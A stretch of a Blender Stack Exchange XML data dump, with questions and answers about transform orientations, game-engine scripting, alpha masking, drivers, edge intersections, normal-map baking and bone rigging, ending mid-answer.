  <row Id="21248" PostTypeId="1" AcceptedAnswerId="21249" CreationDate="2014-12-22T00:32:24.683" Score="6" ViewCount="8545" Body="&lt;p&gt;I have the following situation with a chimney on a roof:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vCqFN.png&quot; alt=&quot;Chimney on roof&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to slide the chimney around on the plane parallel to the roof. One way I could accomplish this would be if I could somehow rotate the chimney's coordinate axes to be parallel to the slope of the roof, however I don't know how to perform this rotation without also rotating the chimney. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a quick and easy way to do this type of coordinate transform?&lt;/p&gt;&#xA;" OwnerUserId="9614" LastEditorUserId="599" LastEditDate="2014-12-22T00:50:47.493" LastActivityDate="2016-10-05T17:12:54.277" Title="How can I rotate an object's coordinate system without rotating the object?" Tags="&lt;transforms&gt;&lt;editing&gt;&lt;coordinates&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21249" PostTypeId="2" ParentId="21248" CreationDate="2014-12-22T00:45:06.617" Score="21" Body="&lt;p&gt;You could try is &lt;a href=&quot;https://blender.stackexchange.com/q/10877/599&quot;&gt;this&lt;/a&gt;, however it seems to me you are looking for &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Transform_Orientations#Custom_Orientations&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Custom transform orientations&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your situation:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the triangle object and enter edit mode (&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the edge along which you want the custom Z axis to be aligned and press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;Space&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This should create a custom orientation and set it as the current orientation. You can switch orientations in the &lt;em&gt;Header&lt;/em&gt; or the &lt;em&gt;properties region&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt;) of the 3D view. In the properties region you can also delete unwanted orientations.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y8AYw.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that to clamp a transform operation (translate, rotate, scale) to the axes defined by the custom transform orientation, you must press the axis key twice (e.g. &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2014-12-22T00:45:06.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21250" PostTypeId="1" CreationDate="2014-12-22T03:53:05.320" Score="3" ViewCount="292" Body="&lt;p&gt;I want to make a level editor where objects can be added on a grid kind of like minecraft when you place down I cube.&lt;br&gt;&#xA;Here is the code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic as l &#xA;from bge import events&#xA;from mathutils import Vector&#xA;&#xA;c = l.getCurrentController()&#xA;o = c.owner&#xA;&#xA;scn = l.getCurrentScene()&#xA;obj = scn.objects&#xA;&#xA;mouse = l.mouse&#xA;lm = l.KX_INPUT_JUST_RELEASED  == mouse.events[events.LEFTMOUSE]&#xA;&#xA;sens = c.sensors&#xA;&#xA;ray = sens['Ray']&#xA;hitobj = ray.hitObject&#xA;hitpos = ray.hitPosition&#xA;hitnorm = ray.hitNormal&#xA;&#xA;pos_vec = Vector(ray.hitPosition)&#xA;norm_vec = Vector(ray.hitNormal)*2&#xA;if lm:&#xA;    cube = scn.addObject(&quot;Cube1&quot;, hitobj, 0)&#xA;    cube.worldPosition = hitobj.worldPosition&#xA;cur.worldPosition = norm_vec&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vrBkt.png&quot; alt=&quot;level editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the picture above I can not build any more than that.&#xA;Is there something that I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="9616" LastEditorUserId="6385" LastEditDate="2014-12-22T16:38:22.110" LastActivityDate="2015-03-09T02:11:26.183" Title="Level editor in BGE" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21251" PostTypeId="1" AcceptedAnswerId="21252" CreationDate="2014-12-22T03:59:43.873" Score="2" ViewCount="3033" Body="&lt;p&gt;I am trying to get the middle sphere to render as a part of the alpha for the image. In the image below where I have the test grid image at the moment it really should be transparent. How do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BI75U.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BI75U.jpg&quot; alt=&quot;mask&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1500" LastEditorUserId="2217" LastEditDate="2018-10-13T22:37:35.387" LastActivityDate="2018-10-13T22:37:35.387" Title="How to get a object mask as part of the alpha channel?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;compositor&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21252" PostTypeId="2" ParentId="21251" CreationDate="2014-12-22T04:16:34.117" Score="3" Body="&lt;p&gt;If you are using cycles, all you have to do is use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Shaders#Holdout&quot; rel=&quot;nofollow noreferrer&quot;&gt;holdout&lt;/a&gt; sahder node.&#xA; Give the object that you want to have the 0 alpha a new material like this.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2RRCQ.png&quot; alt=&quot;nodes&quot;&gt;&lt;br&gt;&#xA;Then in the render tab of the properties window, under the &lt;em&gt;Film&lt;/em&gt; section enable &lt;em&gt;Transparent&lt;/em&gt;. You will have to save your render to a image format with a alpha channel, such as a &lt;code&gt;.png&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2018-10-13T22:34:48.033" LastActivityDate="2018-10-13T22:34:48.033" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21253" PostTypeId="2" ParentId="21248" CreationDate="2014-12-22T04:26:00.393" Score="6" Body="&lt;p&gt;A alternative way to move objects along the face of another object is with &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap_to_Mesh&quot;&gt;snapping&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable &lt;em&gt;Face Snapping&lt;/em&gt; with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; &gt; &lt;em&gt;Face Snapping&lt;/em&gt;. &#xA;Enable snapping  with &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;Tab&lt;/kbd&gt;. (Both are also accessed in the 3D view header) Then move you chimney with &lt;kbd&gt;G&lt;/kbd&gt;.&lt;br&gt;&#xA;You may need to change the &lt;em&gt;Snap Target&lt;/em&gt; to &lt;em&gt;Center&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-12-22T04:26:00.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21254" PostTypeId="2" ParentId="21251" CreationDate="2014-12-22T04:46:37.303" Score="3" Body="&lt;p&gt;These two nodes are all you need to add a object index pass to your render's alpha.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yNfkV.png&quot; alt=&quot;nodes&quot;&gt;&lt;br&gt;&#xA;First the &lt;em&gt;ID Mask&lt;/em&gt; gets the right object. The the &lt;em&gt;Mix&lt;/em&gt; node combines the render's alpha with the object index. The Object Index pass returns a black and white image, so that is just mixed, using itself as the factor with the original alpha. Last plug the new alpha in to the &lt;em&gt;Alpha&lt;/em&gt; socket on the &lt;em&gt;Composite&lt;/em&gt; node.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2018-10-13T22:36:03.883" LastActivityDate="2018-10-13T22:36:03.883" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21255" PostTypeId="2" ParentId="15580" CreationDate="2014-12-22T06:22:27.780" Score="5" Body="&lt;p&gt;Ok, I ignored the &quot;no Python&quot; requirement because the &lt;strong&gt;absolute simplest&lt;/strong&gt; way of doing this requires very few lines of code.  Doing it brick-only would be loads of work and very dirty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attach this to your animated mesh and run it every frame.  It will update the physics to match the mesh.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;def update(cont):&#xA;    own = cont.owner&#xA;    own.reinstancePhysicsMesh()&#xA;&#xA;if __name__ == '__main__':&#xA;    update(bge.logic.getCurrentController())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/19279604/static/misc/physics_shape.zip&quot; rel=&quot;nofollow&quot;&gt;Example blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, being parented to the armature means it wont be affected by gravity.  So you'll need the armature parented to another object for controlling movement.  Make use of Collision Group / Collision Mask to prevent unwanted interference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT - &lt;a href=&quot;https://dl.dropboxusercontent.com/u/19279604/static/misc/physics_shape_with_mask.zip&quot; rel=&quot;nofollow&quot;&gt;Example with collision masks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8075" LastEditorUserId="8075" LastEditDate="2014-12-26T05:37:25.283" LastActivityDate="2014-12-26T05:37:25.283" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="21256" PostTypeId="2" ParentId="21243" CreationDate="2014-12-22T08:20:42.107" Score="1" Body="&lt;p&gt;Sure you can generate such fractals at finite poly resolution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just need to figure out the fractal math and positions of vertices. Then you can build such mesh in python with the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/bmesh.html&quot; rel=&quot;nofollow&quot;&gt;BMesh module&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-22T08:20:42.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21257" PostTypeId="1" AcceptedAnswerId="21258" CreationDate="2014-12-22T08:33:16.513" Score="1" ViewCount="1842" Body="&lt;p&gt;After adding drivers to rotate the wheels when a car model is moved the wheels at one side of the car rotate clockwise (CW) but the wheels on the opposite side rotate counter-clockwise (CCW). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to animate the car and the wheels should move independently from the direction of movement. I first tried to use the distance to an empty like this, but it this leads to the CW/CCW problem. Changing the sign of the rotation would probably fix this, but it seems that there isn't an option for changing the sign of the driver value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wNXm6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A scripted expression tested in the console window:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; print(bpy.data.objects['Mazda'].location.y)&#xA;-0.30693674087524414&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doesn't work in the script input field:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tf2LH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What format does Blender expect here?&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-12-22T09:54:53.980" Title="What is the expected format fo scripted drivers?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21258" PostTypeId="2" ParentId="21257" CreationDate="2014-12-22T09:40:06.190" Score="5" Body="&lt;p&gt;It expects to not use direct data path but to use a variable like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XaLAZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason is for update purposes. With variable the driver knows what his dependencies are thus it knows what value to watch. Watching the whole bpy.data for changes is not efficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Drivers#Driver_Expression&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; are examples what is allowed in the Expr. field. You can use number expressions with driver variables plus some build-in functions like sin, cos, min, max, frame, etc.(to see all of them put &lt;code&gt;bpy.app.driver_namespace['&lt;/code&gt; into console and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Space&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use custom python functions, where you can access bpy.data, but you need to add such functions to driver namespace first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def mazda_loc_y_func():&#xA;    return bpy.data.objects['Mazda'].location.y&#xA;&#xA;# add function to driver_namespace&#xA;bpy.app.driver_namespace['mazdaY'] = mazda_loc_y_func&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the Expr. field you just type &lt;code&gt;mazdaY()&lt;/code&gt;. Without the driver variable the driver might not update nicely though.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2014-12-22T09:54:53.980" LastActivityDate="2014-12-22T09:54:53.980" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21259" PostTypeId="1" AcceptedAnswerId="21303" CreationDate="2014-12-22T09:47:25.277" Score="5" ViewCount="3599" Body="&lt;p&gt;I need to add new geometry to my scene and it should fit inside a large box without any intersections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to calculate the shortest distance between two geometry objects in space, and check if the objects are intersecting each other via python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ws3b3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9589" LastEditorUserId="599" LastEditDate="2014-12-27T08:29:53.547" LastActivityDate="2020-11-26T10:22:36.007" Title="Is possible to calculate the shortest distance between two geometry objects via python?" Tags="&lt;python&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21260" PostTypeId="2" ParentId="21167" CreationDate="2014-12-22T10:24:04.840" Score="3" Body="&lt;p&gt;Whenever I try to do something like this I find it's easier to duplicate and separate a section of the mesh you are trying to wrap something around,&#xA;and use that as a base for the wrapping. I'm not sure if that would work in your situation, but I hope the idea's helpful &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VriYP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9603" LastEditorUserId="9603" LastEditDate="2014-12-22T12:10:27.337" LastActivityDate="2014-12-22T12:10:27.337" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21261" PostTypeId="2" ParentId="5165" CreationDate="2014-12-22T10:34:59.600" Score="6" Body="&lt;p&gt;A glossy shader at &quot;1&quot; roughness is still far more &quot;smooth&quot; at the microscopic level than a true diffuse shader. This intrinsic microscopic hardness or smoothness stops it from having much, if any diffusion reflectance, and it has to rely on it's specular reflectance, which transmits reflections from nearby direct and indirect light sources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Diffuse materials are usual highly porous or permeable at the microscopic scale, so they trap and scatter any light that hits them at unpredictable angles, and scatter it almost equally in all directions. Likewise, a lot of their &quot;albedo color&quot; comes from underneath the shallow surface. Metal, some liquids and some amorphous solids have no &quot;diffusion&quot; ability due to the hardness and solid nature of their microscopic surfaces, so all the light that hits them immediately bounces off in a predictable, angualar direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The technical explanation is that the glossy shader is still reflecting light at (mostly) coherent and predictable angles in comparison to the diffuse, which is spraying light every which way from sunday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a rule of thumb, you use &quot;pure&quot; glossy shaders for metals, some liquids and some amorphous solids (like varnish)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Diffuse is for really rough and microscopically porous things like plaster, rock, concrete, etc &lt;/p&gt;&#xA;" OwnerUserId="9620" LastActivityDate="2014-12-22T10:34:59.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21262" PostTypeId="1" CreationDate="2014-12-22T11:26:53.737" Score="3" ViewCount="70" Body="&lt;p&gt;Let's forget 3D for a while and imagine it all happens in 2D.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two edges that are crossing each other, they are on exactly the same plane when it comes to Z axis (z-dimension is thus not important). How do I add a common vertex to those two edges precisely in the spot where they cross each other?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/twwco.png&quot; alt=&quot;crossing edges&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1621" LastActivityDate="2014-12-22T11:26:53.737" Title="How to add vertex precisely at crossing edges?" Tags="&lt;editing&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-12-22T12:27:03.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="21263" PostTypeId="2" ParentId="21167" CreationDate="2014-12-22T12:07:46.160" Score="4" Body="&lt;p&gt;I used this method &lt;a href=&quot;https://blender.stackexchange.com/questions/19086/how-to-create-a-tape-wrapped-around-an-handle&quot;&gt;How to create a tape wrapped around an handle&lt;/a&gt; and (after some tweaking) it worked really well! I want to add something, if you want the &quot;rope&quot; to have some thickness, use the Solidify modifier after you apply the shrinkwrap (otherwise all the faces will be wrapped around the object, you'll know what I mean if you try it). The end result: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/orRky.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5236" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2014-12-22T12:07:46.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21264" PostTypeId="2" ParentId="2976" CreationDate="2014-12-22T12:27:24.270" Score="23" Body="&lt;p&gt;I found tinyCAD addon the most helpful solution for this problem. It can be downloaded here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/zeffii/Blender_CAD_utils&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/zeffii/Blender_CAD_utils&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can install several ways but the easiest is to &lt;a href=&quot;https://github.com/zeffii/mesh_tinyCAD/archive/master.zip&quot; rel=&quot;noreferrer&quot;&gt;download the zip linked in the readme&lt;/a&gt; and use the Install from File option in &lt;em&gt;UserPreferences &gt; Addons&lt;/em&gt;. Then you can enable it as usual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use it, just select intersecting edges, press W and select TinyCAD &gt; TinyCAD XALL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gASae.png&quot; alt=&quot;tiny cad&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1621" LastEditorUserId="47" LastEditDate="2016-01-14T07:43:12.800" LastActivityDate="2016-01-14T07:43:12.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21265" PostTypeId="1" CreationDate="2014-12-22T13:33:37.600" Score="2" ViewCount="1170" Body="&lt;p&gt;I have these two models:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7LdL0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, they're the same base, but one has a lace running on the hilt. Now I baked a normal map (because the lace is about 120k poly, pretty impractical I think), here's the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Y0S1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The normal is 4k, probably overkill but I'm experimenting)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two problems:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The lace is too aliased. You can clearly see the aliasing of the normal if you're close to the hilt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Minor, but still, on the circle and the simbol, there are those bumps that should not be there, I think. Keep in mind the only thing that's different in these two models is the lace, the ring and the simbols have the same number of faces, that's why I think those bumps are some kind of errors. They were way worse before, playing with the bias and the distance settings in the baking menu (I used standard blender to bake the normal) reduced but did not fix them completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end result looks pretty good (viewed from a distance) and those bumps on the ring aren't really visible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e3BCC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this? &lt;/p&gt;&#xA;" OwnerUserId="5236" LastActivityDate="2014-12-22T13:33:37.600" Title="Too much aliasing on normal map" Tags="&lt;texture-baking&gt;&lt;normals&gt;&lt;baking&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21266" PostTypeId="1" AcceptedAnswerId="21293" CreationDate="2014-12-22T15:31:07.120" Score="3" ViewCount="584" Body="&lt;p&gt;I'd like to use blender to animate motion of nodes in a graph (~50000 nodes) that I've exported from gephi (different layouts of the same graph). Let's call them &lt;strong&gt;spheres&lt;/strong&gt; to avoid confusing them with Blender's material/compositing nodes. Similarly, instead of graph edges, let's call them &lt;strong&gt;connections&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure the best way to handle the spheres is with duplivert, but I'm having trouble with the connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying things out on a small graph before I scale up. Here I have bezier curves set up for the connections, getting the appropriate curvature by scaling the handles. Looks fine for a static image, but will quickly break down when the spheres start moving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D5p3P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing to do is &lt;a href=&quot;https://blender.stackexchange.com/a/21234/822&quot;&gt;hook the curve ends to the spheres&lt;/a&gt;. This way, the curves move around when the spheres do. The problem now is getting the handles rotated and scaled based on the new sphere positions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OOa8T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get the connections' curve handles to be pointed in the right direction, and scaled to give appropriate curvature, based on the position of the speheres?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-05-10T19:22:30.343" Title="Updating curve handles by location of other objects" Tags="&lt;workflow&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21267" PostTypeId="2" ParentId="21122" CreationDate="2014-12-22T16:03:35.253" Score="2" Body="&lt;p&gt;Another option would be to use the &lt;em&gt;Clone Brush&lt;/em&gt; in &lt;em&gt;Texture Paint&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hBDaQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This requires two UV mapped images with two different UV-maps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2zDKx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is also useful to add dirt, rusty edges etc. to a texture.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-12-22T16:03:35.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21269" PostTypeId="1" CreationDate="2014-12-22T16:37:36.727" Score="1" ViewCount="980" Body="&lt;p&gt;&lt;strong&gt;BIG EDIT&lt;/strong&gt;: I have solved this. I just disabled the texture from Cycles and I am manually adding the correct ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Blender project I am working on for Christmas, and I had to rig many characters. I rigged them in Cycles Render, but I figured out that if I want a smooth output, I need Blender Render. How do I switch from Cycles Render to Blender Render without deleting the textures? Please respond before the 24th, as I am trying to make this as a Christmas project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: This question is different than the thought-to-be duplicate because I am only moving the textures, not nodes. I also tried the accepted answer and it did not solve my problem.&lt;/p&gt;&#xA;" OwnerDisplayName="user8158" LastEditorDisplayName="user8158" LastEditDate="2014-12-22T19:41:07.843" LastActivityDate="2014-12-22T19:41:07.843" Title="Render Conversion (Cycles to Blender Render)" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;conversion&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21270" PostTypeId="2" ParentId="21239" CreationDate="2014-12-22T17:03:55.503" Score="10" Body="&lt;h2&gt;Step 1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Create a control bone;&lt;/strong&gt; Make it small. Basically you need to create an extra bone that all of the others connect to. Although you must &lt;em&gt;create&lt;/em&gt; it, you never have to &lt;em&gt;use it in posing&lt;/em&gt;. (It can still be useful.)&#xA;The small end of this bone needs to be facing toward the other bones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a picture of the control bone created properly and positioned with the little end at the spot that you want the new joint to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kJu8i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Create the master joint;&lt;/strong&gt; Turn on Vertex Snapping down at the bottom of the screen; this will allow you to position the bones perfectly at the location of the master joint.&#xA;Here’s a picture to help you find vertex snapping. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4yPQy.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default the snap mode is increment. Change this to vertex by clicking the option tab and selecting the vertex option (cube with white dots).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select one of the joints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oPiVn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mouse over the small end of the control bone, and press &lt;kbd&gt;G&lt;/kbd&gt;. Move the big joint to the little end of the control bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WEBLh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat this for the other two bones.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 3&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Parent the bones&lt;/strong&gt;; If you've followed the steps alright, you should have something that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yizRM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the three bones that you want to make one joint of. Then select the control bone. Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;&gt;&lt;em&gt;Connected&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eAn0N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 